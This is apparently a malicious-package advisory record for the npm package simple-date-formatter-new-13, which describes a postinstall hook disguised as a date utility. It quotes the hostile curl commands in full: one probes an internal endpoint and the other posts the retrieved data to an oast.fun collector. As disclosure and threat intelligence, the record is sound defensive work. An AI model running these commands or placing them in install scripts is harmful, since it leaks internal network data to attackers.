simple-date-formatter-new-13

{"modified":"2026-09-24T13:17:05Z","published":"2026-09-24T13:17:05Z","schema_version":"1.7.4","id":"MAL-2026-17159","summary":"Malicious code in simple-date-formatter-new-13 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54)\nsimple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every `npm install`. The postinstall runs `curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt` against an internal Baidu network endpoint, then `curl -X POST -d \"$(cat /tmp/bsrc.txt...)\" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running `npm install` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.\n","affected":[{"package":{"ecosystem":"npm","name":"simple-date-formatter-new-13"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"883c50c4d679a0345a9b060cb463945383bfbc8977d64744a63ad573d6b93340","tlsh":"f1f05c44d6545db397c286fc9a66050e7a01ae0714447d05b39a08ac879aaf641be30f"}],"package_integrity":[{"filename":"simple-date-formatter-new-13-1.0.0.tgz","hashes":{"sha1":"12902868e262a7fe5ed5a9c1d4f38feca3d551dc","sha512_sri":"sha512-gJoi/A+l4g/xNaRMllVvTZ39y29duntIU/XNnnWQHYGRR5DTmHUZEoNUigmAFVUIQObpfrDWY1g/xkfsnXlfwQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/simple-date-formatter-new-13/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020509","import_time":"2026-09-24T13:18:04.573654944Z","modified_time":"2026-09-24T13:17:05Z","sha256":"8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54","source":"amazon-inspector","versions":["1.0.0"]}]}}